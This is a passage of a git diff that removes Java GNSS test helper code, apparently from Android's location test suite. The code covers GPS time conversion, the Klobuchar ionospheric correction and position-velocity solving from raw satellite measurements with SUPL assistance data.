- * @param minute Minute from 0 to 59
- * @param second Second from 0 to 59
- */
- public GpsTime(int year, int month, int day, int hour, int minute, double second) {
- ZonedDateTime utcDateTime = getZonedDateTimeUTC(year, month, day, hour, minute,
- (int) second, (int) ((second * nanoSecPerSec) % nanoSecPerSec));
-
-
- // Since input time is already specify in GPS time, no need to count leap second here.
- initGpsNanos(utcDateTime);
-
- }
-
- /**
- * Constructor
- * @param zDateTime is created using GPS time values.
- */
- public GpsTime(ZonedDateTime zDateTime) {
- initGpsNanos(zDateTime);
- }
-
- public void initGpsNanos(ZonedDateTime zDateTime){
- this.gpsNanos = TimeUnit.MILLISECONDS.toNanos(getMillisFromZonedDateTime(zDateTime))
- - GPS_UTC_EPOCH_OFFSET_NANOS;
- }
- /**
- * Constructor
- * @param gpsNanos nanoseconds since GPS epoch.
- */
- public GpsTime(long gpsNanos) {
- this.gpsNanos = gpsNanos;
- }
-
- /**
- * Creates a GPS time using a UTC based date and time.
- * @param zDateTime represents the current time in UTC time, must be after 2009
- */
- public static GpsTime fromUtc(ZonedDateTime zDateTime) {
- return new GpsTime(TimeUnit.MILLISECONDS.toNanos(getMillisFromZonedDateTime(zDateTime))
- + TimeUnit.SECONDS.toNanos(
- GpsTime.getLeapSecond(zDateTime) - GPS_UTC_EPOCH_OFFSET_SECONDS));
- }
-
- /**
- * Creates a GPS time based upon the current time.
- */
- public static GpsTime now() {
- ZoneId zone = ZoneId.of("UTC");
- ZonedDateTime current = ZonedDateTime.now(zone);
- return fromUtc(current);
- }
-
- /**
- * Creates a GPS time using absolute GPS week number, and the time of week.
- * @param gpsWeek
- * @param towSec GPS time of week in second
- * @return actual time in GpsTime.
- */
- public static GpsTime fromWeekTow(int gpsWeek, int towSec) {
- long nanos = gpsWeek * NANOS_IN_WEEK + TimeUnit.SECONDS.toNanos(towSec);
- return new GpsTime(nanos);
- }
-
- /**
- * Creates a GPS time using YUMA GPS week number (0..1023), and the time of week.
- * @param yumaWeek (0..1023)
- * @param towSec GPS time of week in second
- * @return actual time in GpsTime.
- */
- public static GpsTime fromYumaWeekTow(int yumaWeek, int towSec) {
- Preconditions.checkArgument(yumaWeek >= 0);
- Preconditions.checkArgument(yumaWeek < 1024);
-
- // Estimate the multiplier of current week.
- ZoneId zone = ZoneId.of("UTC");
- ZonedDateTime current = ZonedDateTime.now(zone);
- GpsTime refTime = new GpsTime(current);
- Pair<Integer, Integer> refWeekSec = refTime.getGpsWeekSecond();
- int weekMultiplier = refWeekSec.first / 1024;
-
- int gpsWeek = weekMultiplier * 1024 + yumaWeek;
- return fromWeekTow(gpsWeek, towSec);
- }
-
- public static GpsTime fromTimeSinceGpsEpoch(long gpsSec) {
- return new GpsTime(TimeUnit.SECONDS.toNanos(gpsSec));
- }
-
- /**
- * Computes leap seconds. Only accurate after 2009.
- * @param time
- * @return number of leap seconds since GPS epoch.
- */
- public static int getLeapSecond(ZonedDateTime time) {
- if (LEAP_SECOND_DATE_2017.compareTo(time) <= 0) {
- return 18;
- } else if (LEAP_SECOND_DATE_2015.compareTo(time) <= 0) {
- return 17;
- } else if (LEAP_SECOND_DATE_2012.compareTo(time) <= 0) {
- return 16;
- } else if (LEAP_SECOND_DATE_1981.compareTo(time) <= 0) {
- // Only correct between 2012/7/1 to 2008/12/31
- return 15;
- } else {
- return 0;
- }
- }
-
- /**
- * Computes GPS weekly epoch of the reference time.
- * <p>GPS weekly epoch are defined as of every Sunday 00:00:000 (mor
- * @param refTime reference time
- * @return nanoseconds since GPS epoch, for the week epoch.
- */
- public static Long getGpsWeekEpochNano(GpsTime refTime) {
- Pair<Integer, Integer> weekSecond = refTime.getGpsWeekSecond();
- return weekSecond.first * NANOS_IN_WEEK;
- }
-
- /**
- * @return week count since GPS epoch, and second count since the beginning of
- * that week.
- */
- public Pair<Integer, Integer> getGpsWeekSecond() {
- // JAVA/UNIX epoch: January 1, 1970 in msec
- // GPS epoch: January 6, 1980 in second
- int week = (int) (gpsNanos / NANOS_IN_WEEK);
- int second = (int) TimeUnit.NANOSECONDS.toSeconds(gpsNanos % NANOS_IN_WEEK);
- return Pair.create(week, second);
- }
-
- /**
- * @return week count since GPS epoch, and second count in 0.08 sec
- * resolution, 23-bit presentation (required by RRLP.)"
- */
- public Pair<Integer, Integer> getGpsWeekTow23b() {
- // UNIX epoch: January 1, 1970 in msec
- // GPS epoch: January 6, 1980 in second
- int week = (int) (gpsNanos / NANOS_IN_WEEK);
- // 80 millis is 0.08 second.
- int tow23b = (int) TimeUnit.NANOSECONDS.toMillis(gpsNanos % NANOS_IN_WEEK) / 80;
- return Pair.create(week, tow23b);
- }
-
- /**
- * @return Day of year in GPS time (GMT time)
- */
- public static int getCurrentDayOfYear() {
- ZoneId zone = ZoneId.of("UTC");
- ZonedDateTime current = ZonedDateTime.now(zone);
- // Since current is derived from UTC time, we need to add leap second here.
- long gpsTimeMillis = getMillisFromZonedDateTime(current)
- + TimeUnit.SECONDS.toMillis(getLeapSecond(current));
- ZonedDateTime gpsCurrent = ZonedDateTime.ofInstant(Instant.ofEpochMilli(gpsTimeMillis), ZoneId.of("UTC"));
- return gpsCurrent.getDayOfYear();
- }
-
- /**
- * @return milliseconds since JAVA/UNIX epoch.
- */
- public final long getMillisSinceJavaEpoch() {
- return TimeUnit.NANOSECONDS.toMillis(gpsNanos + GPS_UTC_EPOCH_OFFSET_NANOS);
- }
-
- /**
- * @return milliseconds since GPS epoch.
- */
- public final long getMillisSinceGpsEpoch() {
- return TimeUnit.NANOSECONDS.toMillis(gpsNanos);
- }
-
- /**
- * @return microseconds since GPS epoch.
- */
- public final long getMicrosSinceGpsEpoch() {
- return TimeUnit.NANOSECONDS.toMicros(gpsNanos);
- }
-
- /**
- * @return nanoseconds since GPS epoch.
- */
- public final long getNanosSinceGpsEpoch() {
- return gpsNanos;
- }
-
- /**
- * @return the GPS time in Calendar.
- */
- public Calendar getTimeInCalendar() {
- return GregorianCalendar.from(getGpsDateTime());
- }
-
- /**
- * @return a ZonedDateTime with leap seconds considered.
- */
- public ZonedDateTime getUtcDateTime() {
- ZonedDateTime gpsDateTime = getGpsDateTime();
- long gpsMillis = getMillisFromZonedDateTime(gpsDateTime)
- - TimeUnit.SECONDS.toMillis(getLeapSecond(gpsDateTime));
- return ZonedDateTime.ofInstant(Instant.ofEpochMilli(gpsMillis), ZoneId.of("UTC"));
-
- }
-
- /**
- * @return a ZonedDateTime based on the pure GPS time (without considering leap second).
- */
- public ZonedDateTime getGpsDateTime() {
- long gpsMillis = TimeUnit.NANOSECONDS.toMillis(gpsNanos + GPS_UTC_EPOCH_OFFSET_NANOS);
- return ZonedDateTime.ofInstant(Instant.ofEpochMilli(gpsMillis), ZoneId.of("UTC"));
- }
-
- /**
- * Compares two {@code GpsTime} objects temporally.
- *
- * @param other the {@code GpsTime} to be compared.
- * @return the value {@code 0} if this {@code GpsTime} is simultaneous with
- * the argument {@code GpsTime}; a value less than {@code 0} if this
- * {@code GpsTime} occurs before the argument {@code GpsTime}; and
- * a value greater than {@code 0} if this {@code GpsTime} occurs
- * after the argument {@code GpsTime} (signed comparison).
- */
- @Override
- public int compareTo(GpsTime other) {
- return Long.compare(this.getNanosSinceGpsEpoch(), other.getNanosSinceGpsEpoch());
- }
-
- @Override
- public boolean equals(Object other) {
- if (!(other instanceof GpsTime)) {
- return false;
- }
- GpsTime time = (GpsTime) other;
- return getNanosSinceGpsEpoch() == time.getNanosSinceGpsEpoch();
- }
-
- @Override
- public int hashCode() {
- return Longs.hashCode(getNanosSinceGpsEpoch());
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/psedorange/IonosphericModel.java b/tests/tests/location/src/android/location/cts/psedorange/IonosphericModel.java
deleted file mode 100644
index b61338e..0000000
--- a/tests/tests/location/src/android/location/cts/psedorange/IonosphericModel.java
+++ /dev/null
@@ -1,139 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.pseudorange;
-
-import android.location.cts.pseudorange.Ecef2LlaConverter.GeodeticLlaValues;
-import android.location.cts.pseudorange.EcefToTopocentricConverter.TopocentricAEDValues;
-
-/**
- * Calculate the Ionospheric correction of the pseudorange given the {@code userPosition},
- * {@code satellitePosition}, {@code gpsTimeSeconds} and the ionospheric parameters sent by the
- * satellite {@code alpha} and {@code beta}
- *
- * <p>Source: http://www.navipedia.net/index.php/Klobuchar_Ionospheric_Model and
- * http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=4104345 and
- * http://www.ion.org/museum/files/ACF2A4.pdf
- */
-public class IonosphericModel {
- /** Center frequency of the L1 band in Hz. */
- public static final double L1_FREQ_HZ = 10.23 * 1e6 * 154;
- /** Center frequency of the L2 band in Hz. */
- public static final double L2_FREQ_HZ = 10.23 * 1e6 * 120;
- /** Center frequency of the L5 band in Hz. */
- public static final double L5_FREQ_HZ = 10.23 * 1e6 * 115;
-
- private static final double SECONDS_PER_DAY = 86400.0;
- private static final double PERIOD_OF_DELAY_TRHESHOLD_SECONDS = 72000.0;
- private static final double IPP_LATITUDE_THRESHOLD_SEMI_CIRCLE = 0.416;
- private static final double DC_TERM = 5.0e-9;
- private static final double NORTH_GEOMAGNETIC_POLE_LONGITUDE_RADIANS = 5.08;
- private static final double GEOMETRIC_LATITUDE_CONSTANT = 0.064;
- private static final int DELAY_PHASE_TIME_CONSTANT_SECONDS = 50400;
- private static final int IONO_0_IDX = 0;
- private static final int IONO_1_IDX = 1;
- private static final int IONO_2_IDX = 2;
- private static final int IONO_3_IDX = 3;
-
- /**
- * Calculate the Ionospheric correction of the pseudorane in seconds using the Klobuchar
- * Ionospheric model.
- */
- public static double ionoKloboucharCorrectionSeconds(
- double[] userPositionECEFMeters,
- double[] satellitePositionECEFMeters,
- double gpsTOWSeconds,
- double[] alpha,
- double[] beta,
- double frequencyHz) {
-
- TopocentricAEDValues elevationAndAzimuthRadians = EcefToTopocentricConverter
- .calculateElAzDistBetween2Points(userPositionECEFMeters, satellitePositionECEFMeters);
- double elevationSemiCircle = elevationAndAzimuthRadians.elevationRadians / Math.PI;
- double azimuthSemiCircle = elevationAndAzimuthRadians.azimuthRadians / Math.PI;
- GeodeticLlaValues latLngAlt = Ecef2LlaConverter.convertECEFToLLACloseForm(
- userPositionECEFMeters[0], userPositionECEFMeters[1], userPositionECEFMeters[2]);
- double latitudeUSemiCircle = latLngAlt.latitudeRadians / Math.PI;
- double longitudeUSemiCircle = latLngAlt.longitudeRadians / Math.PI;
-
- // earth's centered angle (semi-circles)
- double earthCentredAngleSemiCirle = 0.0137 / (elevationSemiCircle + 0.11) - 0.022;
-
- // latitude of the Ionospheric Pierce Point (IPP) (semi-circles)
- double latitudeISemiCircle =
- latitudeUSemiCircle + earthCentredAngleSemiCirle * Math.cos(azimuthSemiCircle * Math.PI);
-
- if (latitudeISemiCircle > IPP_LATITUDE_THRESHOLD_SEMI_CIRCLE) {
- latitudeISemiCircle = IPP_LATITUDE_THRESHOLD_SEMI_CIRCLE;
- } else if (latitudeISemiCircle < -IPP_LATITUDE_THRESHOLD_SEMI_CIRCLE) {
- latitudeISemiCircle = -IPP_LATITUDE_THRESHOLD_SEMI_CIRCLE;
- }
-
- // geodetic longitude of the Ionospheric Pierce Point (IPP) (semi-circles)
- double longitudeISemiCircle = longitudeUSemiCircle + earthCentredAngleSemiCirle
- * Math.sin(azimuthSemiCircle * Math.PI) / Math.cos(latitudeISemiCircle * Math.PI);
-
- // geomagnetic latitude of the Ionospheric Pierce Point (IPP) (semi-circles)
- double geomLatIPPSemiCircle = latitudeISemiCircle + GEOMETRIC_LATITUDE_CONSTANT
- * Math.cos(longitudeISemiCircle * Math.PI - NORTH_GEOMAGNETIC_POLE_LONGITUDE_RADIANS);
-
- // local time (sec) at the Ionospheric Pierce Point (IPP)
- double localTimeSeconds = SECONDS_PER_DAY / 2.0 * longitudeISemiCircle + gpsTOWSeconds;
- localTimeSeconds %= SECONDS_PER_DAY;
- if (localTimeSeconds < 0) {
- localTimeSeconds += SECONDS_PER_DAY;
- }
-
- // amplitude of the ionospheric delay (seconds)
- double amplitudeOfDelaySeconds = alpha[IONO_0_IDX] + alpha[IONO_1_IDX] * geomLatIPPSemiCircle
- + alpha[IONO_2_IDX] * geomLatIPPSemiCircle * geomLatIPPSemiCircle + alpha[IONO_3_IDX]
- * geomLatIPPSemiCircle * geomLatIPPSemiCircle * geomLatIPPSemiCircle;
- if (amplitudeOfDelaySeconds < 0) {
- amplitudeOfDelaySeconds = 0;
- }
-
- // period of ionospheric delay
- double periodOfDelaySeconds = beta[IONO_0_IDX] + beta[IONO_1_IDX] * geomLatIPPSemiCircle
- + beta[IONO_2_IDX] * geomLatIPPSemiCircle * geomLatIPPSemiCircle + beta[IONO_3_IDX]
- * geomLatIPPSemiCircle * geomLatIPPSemiCircle * geomLatIPPSemiCircle;
- if (periodOfDelaySeconds < PERIOD_OF_DELAY_TRHESHOLD_SECONDS) {
- periodOfDelaySeconds = PERIOD_OF_DELAY_TRHESHOLD_SECONDS;
- }
-
- // phase of ionospheric delay
- double phaseOfDelayRadians =
- 2 * Math.PI * (localTimeSeconds - DELAY_PHASE_TIME_CONSTANT_SECONDS) / periodOfDelaySeconds;
-
- // slant factor
- double slantFactor = 1.0 + 16.0 * Math.pow(0.53 - elevationSemiCircle, 3);
-
- // ionospheric time delay (seconds)
- double ionoDelaySeconds;
-
- if (Math.abs(phaseOfDelayRadians) >= Math.PI / 2.0) {
- ionoDelaySeconds = DC_TERM * slantFactor;
- } else {
- ionoDelaySeconds = (DC_TERM
- + (1 - Math.pow(phaseOfDelayRadians, 2) / 2.0 + Math.pow(phaseOfDelayRadians, 4) / 24.0)
- * amplitudeOfDelaySeconds) * slantFactor;
- }
-
- // apply factor for frequency bands other than L1
- ionoDelaySeconds *= (L1_FREQ_HZ * L1_FREQ_HZ) / (frequencyHz * frequencyHz);
-
- return ionoDelaySeconds;
- }
-}
diff --git a/tests/tests/location/src/android/location/cts/psedorange/PseudorangePositionVelocityFromRealTimeEvents.java b/tests/tests/location/src/android/location/cts/psedorange/PseudorangePositionVelocityFromRealTimeEvents.java
deleted file mode 100644
index 3bf39d8..0000000
--- a/tests/tests/location/src/android/location/cts/psedorange/PseudorangePositionVelocityFromRealTimeEvents.java
+++ /dev/null
@@ -1,388 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.location.cts.pseudorange;
-
-import android.location.GnssClock;
-import android.location.GnssMeasurement;
-import android.location.GnssMeasurementsEvent;
-import android.location.GnssStatus;
-import android.util.Log;
-import android.location.cts.pseudorange.Ecef2EnuConverter.EnuValues;
-import android.location.cts.pseudorange.Ecef2LlaConverter.GeodeticLlaValues;
-import android.location.cts.nano.Ephemeris.GpsEphemerisProto;
-import android.location.cts.nano.Ephemeris.GpsNavMessageProto;
-import android.location.cts.suplClient.SuplRrlpController;
-import java.io.BufferedReader;
-import java.io.IOException;
-import java.net.UnknownHostException;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Calendar;
-import java.util.List;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Helper class for calculating GPS position and velocity solution using weighted least squares
- * where the raw GPS measurements are parsed as a {@link BufferedReader}.
- *
- */
-public class PseudorangePositionVelocityFromRealTimeEvents {
-
- private static final String TAG = "PseudorangePositionVelocityFromRealTimeEvents";
- private static final double SECONDS_PER_NANO = 1.0e-9;
- private static final int TOW_DECODED_MEASUREMENT_STATE_BIT = 3;
- /** Average signal travel time from GPS satellite and earth */
- private static final int VALID_ACCUMULATED_DELTA_RANGE_STATE = 1;
- private static final int MINIMUM_NUMBER_OF_USEFUL_SATELLITES = 4;
- private static final int C_TO_N0_THRESHOLD_DB_HZ = 18;
- /** Maximum possible number of GPS satellites */
- private static final int MAX_NUMBER_OF_SATELLITES = 32;
-
- private static final String SUPL_SERVER_NAME = "supl.google.com";
- private static final int SUPL_SERVER_PORT = 7276;
-
- private static final double GPS_L5_FREQ_HZ_LOWER_BOUND = 1.164e9;
- private static final double GPS_L5_FREQ_HZ_UPPER_BOUND = 1.189e9;
-
- private final double[] mPositionSolutionLatLngDeg = {Double.NaN, Double.NaN, Double.NaN};
- private final double[] mVelocitySolutionEnuMps = {Double.NaN, Double.NaN, Double.NaN};
- private final double[] mPositionVelocityUncertaintyEnu = {
- Double.NaN, Double.NaN, Double.NaN, Double.NaN, Double.NaN, Double.NaN
- };
- private boolean mFirstUsefulMeasurementSet = true;
- private int[] mReferenceLocation = null;
- private long mLastReceivedSuplMessageTimeMillis = 0;
- private long mDeltaTimeMillisToMakeSuplRequest = TimeUnit.MINUTES.toMillis(30);
- private boolean mFirstSuplRequestNeeded = true;
- private GpsNavMessageProto mGpsNavMessageProtoUsed = null;
-
- private final UserPositionVelocityWeightedLeastSquare mUserPositionVelocityLeastSquareCalculator =
- new UserPositionVelocityWeightedLeastSquare();
- private GpsMeasurement[] mUsefulSatellitesToReceiverMeasurements =
- new GpsMeasurement[MAX_NUMBER_OF_SATELLITES];
- private Long[] mUsefulSatellitesToTowNs = new Long[MAX_NUMBER_OF_SATELLITES];
- private long mLargestTowNs = Long.MIN_VALUE;
- private double mArrivalTimeSinceGPSWeekNs = 0.0;
- private int mDayOfYear1To366 = 0;
- private int mGpsWeekNumber = 0;
- private long mArrivalTimeSinceGpsEpochNs = 0;
-
- /**
- * Computes Weighted least square position and velocity solutions from a received
- * {@link GnssMeasurementsEvent} and store the result in {@link
- * PseudorangePositionVelocityFromRealTimeEvents#mPositionSolutionLatLngDeg} and
- * {@link PseudorangePositionVelocityFromRealTimeEvents#mVelocitySolutionEnuMps}
- */
- public void computePositionVelocitySolutionsFromRawMeas(GnssMeasurementsEvent event)
- throws Exception {
- if (mReferenceLocation == null) {
- // If no reference location is received, we can not get navigation message from SUPL and hence
- // we will not try to compute location.
- Log.d(TAG, " No reference Location ..... no position is calculated");
- return;
- }
- for (int i = 0; i < MAX_NUMBER_OF_SATELLITES; i++) {
- mUsefulSatellitesToReceiverMeasurements[i] = null;
- mUsefulSatellitesToTowNs[i] = null;
- }
-
- GnssClock gnssClock = event.getClock();
- mArrivalTimeSinceGpsEpochNs = gnssClock.getTimeNanos() - gnssClock.getFullBiasNanos();
- for (GnssMeasurement measurement : event.getMeasurements()) {
- // ignore any measurement if it is not from GPS constellation
- if (measurement.getConstellationType() != GnssStatus.CONSTELLATION_GPS) {
- continue;
- }
-
- if (isGpsL5FrequencyHz(measurement.getCarrierFrequencyHz())) {
- continue;
- }
-
- // ignore raw data if time is zero, if signal to noise ratio is below threshold or if
- // TOW is not yet decoded
- if (measurement.getCn0DbHz() >= C_TO_N0_THRESHOLD_DB_HZ
- && (measurement.getState() & (1L << TOW_DECODED_MEASUREMENT_STATE_BIT)) != 0) {
- // calculate day of year and Gps week number needed for the least square
- GpsTime gpsTime = new GpsTime(mArrivalTimeSinceGpsEpochNs);
- // Gps weekly epoch in Nanoseconds: defined as of every Sunday night at 00:00:000
- long gpsWeekEpochNs = GpsTime.getGpsWeekEpochNano(gpsTime);
- mArrivalTimeSinceGPSWeekNs = mArrivalTimeSinceGpsEpochNs - gpsWeekEpochNs;
- mGpsWeekNumber = gpsTime.getGpsWeekSecond().first;
- // calculate day of the year between 1 and 366
- Calendar cal = gpsTime.getTimeInCalendar();
- mDayOfYear1To366 = cal.get(Calendar.DAY_OF_YEAR);
-
- long receivedGPSTowNs = measurement.getReceivedSvTimeNanos();
- if (receivedGPSTowNs > mLargestTowNs) {
- mLargestTowNs = receivedGPSTowNs;
- }
- mUsefulSatellitesToTowNs[measurement.getSvid() - 1] = receivedGPSTowNs;
- GpsMeasurement gpsReceiverMeasurement =
- new GpsMeasurement(
- (long) mArrivalTimeSinceGPSWeekNs,
- measurement.getAccumulatedDeltaRangeMeters(),
- measurement.getAccumulatedDeltaRangeState()
- == VALID_ACCUMULATED_DELTA_RANGE_STATE,
- measurement.getPseudorangeRateMetersPerSecond(),
- measurement.getCn0DbHz(),
- measurement.getAccumulatedDeltaRangeUncertaintyMeters(),
- measurement.getPseudorangeRateUncertaintyMetersPerSecond());
- mUsefulSatellitesToReceiverMeasurements[measurement.getSvid() - 1] =
- gpsReceiverMeasurement;
- }
- }
-
- Log.d(TAG, "Using navigation message from SUPL server");
- if (mFirstSuplRequestNeeded
- || (System.currentTimeMillis() - mLastReceivedSuplMessageTimeMillis)
- > mDeltaTimeMillisToMakeSuplRequest) {
- // The following line is blocking call for SUPL connection and back. But it is fast enough
- mGpsNavMessageProtoUsed = getSuplNavMessage(mReferenceLocation[0], mReferenceLocation[1]);
- if (!isEmptyNavMessage(mGpsNavMessageProtoUsed)) {
- mFirstSuplRequestNeeded = false;
- mLastReceivedSuplMessageTimeMillis = System.currentTimeMillis();
- } else {
- return;
- }
- }
-
-
- // some times the SUPL server returns less satellites than the visible ones, so remove those
- // visible satellites that are not returned by SUPL
- for (int i = 0; i < MAX_NUMBER_OF_SATELLITES; i++) {
- if (mUsefulSatellitesToReceiverMeasurements[i] != null
- && !navMessageProtoContainsSvid(mGpsNavMessageProtoUsed, i + 1)) {
- mUsefulSatellitesToReceiverMeasurements[i] = null;
- mUsefulSatellitesToTowNs[i] = null;
- }
- }
-
- // calculate the number of useful satellites
- int numberOfUsefulSatellites = 0;
- for (int i = 0; i < mUsefulSatellitesToReceiverMeasurements.length; i++) {
- if (mUsefulSatellitesToReceiverMeasurements[i] != null) {
- numberOfUsefulSatellites++;
- }
- }
- if (numberOfUsefulSatellites >= MINIMUM_NUMBER_OF_USEFUL_SATELLITES) {
- // ignore first set of > 4 satellites as they often result in erroneous position
- if (!mFirstUsefulMeasurementSet) {
- // start with last known position and velocity of zero. Following the structure:
- // [X position, Y position, Z position, clock bias,
- // X Velocity, Y Velocity, Z Velocity, clock bias rate]
- double[] positionVeloctySolutionEcef = {0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0};
- double[] positionVelocityUncertaintyEnu = new double[] {0.0, 0.0, 0.0, 0.0, 0.0, 0.0};
- performPositionVelocityComputationEcef(
- mUserPositionVelocityLeastSquareCalculator,
- mUsefulSatellitesToReceiverMeasurements,
- mUsefulSatellitesToTowNs,
- mLargestTowNs,
- mArrivalTimeSinceGPSWeekNs,
- mDayOfYear1To366,
- mGpsWeekNumber,
- positionVeloctySolutionEcef,
- positionVelocityUncertaintyEnu);
- // convert the position solution from ECEF to latitude, longitude and altitude
- GeodeticLlaValues latLngAlt =
- Ecef2LlaConverter.convertECEFToLLACloseForm(
- positionVeloctySolutionEcef[0],
- positionVeloctySolutionEcef[1],
- positionVeloctySolutionEcef[2]);
- mPositionSolutionLatLngDeg[0] = Math.toDegrees(latLngAlt.latitudeRadians);
- mPositionSolutionLatLngDeg[1] = Math.toDegrees(latLngAlt.longitudeRadians);
- mPositionSolutionLatLngDeg[2] = latLngAlt.altitudeMeters;
- mPositionVelocityUncertaintyEnu[0] = positionVelocityUncertaintyEnu[0];
- mPositionVelocityUncertaintyEnu[1] = positionVelocityUncertaintyEnu[1];
- mPositionVelocityUncertaintyEnu[2] = positionVelocityUncertaintyEnu[2];
- Log.d(TAG,
- "Position Uncertainty ENU Meters :"
- + mPositionVelocityUncertaintyEnu[0]
- + " "
- + mPositionVelocityUncertaintyEnu[1]
- + " "
- + mPositionVelocityUncertaintyEnu[2]);
- Log.d(
- TAG,
- "Latitude, Longitude, Altitude: "
- + mPositionSolutionLatLngDeg[0]
- + " "
- + mPositionSolutionLatLngDeg[1]
- + " "
- + mPositionSolutionLatLngDeg[2]);
- EnuValues velocityEnu = Ecef2EnuConverter.convertEcefToEnu(
- positionVeloctySolutionEcef[4],
- positionVeloctySolutionEcef[5],
- positionVeloctySolutionEcef[6],
- latLngAlt.latitudeRadians,
- latLngAlt.longitudeRadians
- );
-
- mVelocitySolutionEnuMps[0] = velocityEnu.enuEast;
- mVelocitySolutionEnuMps[1] = velocityEnu.enuNorth;
- mVelocitySolutionEnuMps[2] = velocityEnu.enuUP;
- Log.d(
- TAG,
- "Velocity ENU Mps: "
- + mVelocitySolutionEnuMps[0]
- + " "
- + mVelocitySolutionEnuMps[1]
- + " "
- + mVelocitySolutionEnuMps[2]);
- mPositionVelocityUncertaintyEnu[3] = positionVelocityUncertaintyEnu[3];
- mPositionVelocityUncertaintyEnu[4] = positionVelocityUncertaintyEnu[4];
- mPositionVelocityUncertaintyEnu[5] = positionVelocityUncertaintyEnu[5];
- Log.d(TAG,
- "Velocity Uncertainty ENU Mps :"
- + mPositionVelocityUncertaintyEnu[3]
- + " "
- + mPositionVelocityUncertaintyEnu[4]
- + " "
- + mPositionVelocityUncertaintyEnu[5]);
- }
- mFirstUsefulMeasurementSet = false;
- } else {
- Log.d(
- TAG,
- "Less than four satellites with SNR above threshold visible ... "
- + "no position is calculated!");
-
- mPositionSolutionLatLngDeg[0] = Double.NaN;
- mPositionSolutionLatLngDeg[1] = Double.NaN;
- mPositionSolutionLatLngDeg[2] = Double.NaN;
- mVelocitySolutionEnuMps[0] = Double.NaN;
- mVelocitySolutionEnuMps[1] = Double.NaN;
- mVelocitySolutionEnuMps[2] = Double.NaN;
- }
- }
-
- private static boolean isGpsL5FrequencyHz(float carrierFrequencyHz) {
- return carrierFrequencyHz >= GPS_L5_FREQ_HZ_LOWER_BOUND
- && carrierFrequencyHz <= GPS_L5_FREQ_HZ_UPPER_BOUND;
- }
-
- private boolean isEmptyNavMessage(GpsNavMessageProto navMessageProto) {
- if(navMessageProto.iono == null)return true;
- if(navMessageProto.ephemerids.length ==0)return true;
- return false;
- }
-
- private boolean navMessageProtoContainsSvid(GpsNavMessageProto navMessageProto, int svid) {
- List<GpsEphemerisProto> ephemeridesList =
- new ArrayList<GpsEphemerisProto>(Arrays.asList(navMessageProto.ephemerids));
- for (GpsEphemerisProto ephProtoFromList : ephemeridesList) {
- if (ephProtoFromList.prn == svid) {
- return true;
- }
- }
- return false;
- }
-
- /**
- * Calculates ECEF least square position and velocity solutions from an array of
- * {@link GpsMeasurement} in meters and meters per second and store the result in
- * {@code positionVelocitySolutionEcef}
- */
- private void performPositionVelocityComputationEcef(
- UserPositionVelocityWeightedLeastSquare userPositionVelocityLeastSquare,
- GpsMeasurement[] usefulSatellitesToReceiverMeasurements,
- Long[] usefulSatellitesToTOWNs,
- long largestTowNs,
- double arrivalTimeSinceGPSWeekNs,
- int dayOfYear1To366,
- int gpsWeekNumber,
- double[] positionVelocitySolutionEcef,
- double[] positionVelocityUncertaintyEnu)
- throws Exception {
-
- List<GpsMeasurementWithRangeAndUncertainty> usefulSatellitesToPseudorangeMeasurements =
- UserPositionVelocityWeightedLeastSquare.computePseudorangeAndUncertainties(
- Arrays.asList(usefulSatellitesToReceiverMeasurements),
- usefulSatellitesToTOWNs,
- largestTowNs);
-
- // calculate iterative least square position solution and velocity solutions
- userPositionVelocityLeastSquare.calculateUserPositionVelocityLeastSquare(
- mGpsNavMessageProtoUsed,
- usefulSatellitesToPseudorangeMeasurements,
- arrivalTimeSinceGPSWeekNs * SECONDS_PER_NANO,
- gpsWeekNumber,
- dayOfYear1To366,
- positionVelocitySolutionEcef,
- positionVelocityUncertaintyEnu);
-
- Log.d(
- TAG,
- "Least Square Position Solution in ECEF meters: "
- + positionVelocitySolutionEcef[0]
- + " "
- + positionVelocitySolutionEcef[1]
- + " "
- + positionVelocitySolutionEcef[2]);
- Log.d(TAG, "Estimated Receiver clock offset in meters: " + positionVelocitySolutionEcef[3]);
-
- Log.d(TAG, "Velocity Solution in ECEF Mps: "
- + positionVelocitySolutionEcef[4]
- + " "
- + positionVelocitySolutionEcef[5]
- + " "
- + positionVelocitySolutionEcef[6]);
- Log.d(TAG, "Estimated Reciever clock offset rate in mps: " + positionVelocitySolutionEcef[7]);
- }
-
- /**
- * Reads the navigation message from the SUPL server by creating a Stubby client to Stubby server
- * that wraps the SUPL server. The input is the time in nanoseconds since the GPS epoch at which
- * the navigation message is required and the output is a {@link GpsNavMessageProto}
- *
- * @throws IOException
- * @throws UnknownHostException
- */
- private GpsNavMessageProto getSuplNavMessage(long latE7, long lngE7)
- throws UnknownHostException, IOException {
- SuplRrlpController suplRrlpController =
- new SuplRrlpController(SUPL_SERVER_NAME, SUPL_SERVER_PORT);
- GpsNavMessageProto navMessageProto = suplRrlpController.generateNavMessage(latE7, lngE7);
-
- return navMessageProto;
- }
-
- /** Sets a rough location of the receiver that can be used to request SUPL assistance data */
- public void setReferencePosition(int latE7, int lngE7, int altE7) {
- if (mReferenceLocation == null) {
- mReferenceLocation = new int[3];
- }
- mReferenceLocation[0] = latE7;
- mReferenceLocation[1] = lngE7;
- mReferenceLocation[2] = altE7;
- }
-
- /** Returns the last computed weighted least square position solution */
- public double[] getPositionSolutionLatLngDeg() {
- return mPositionSolutionLatLngDeg;
- }
-
- /** Returns the last computed Velocity solution */
- public double[] getVelocitySolutionEnuMps() {
- return mVelocitySolutionEnuMps;
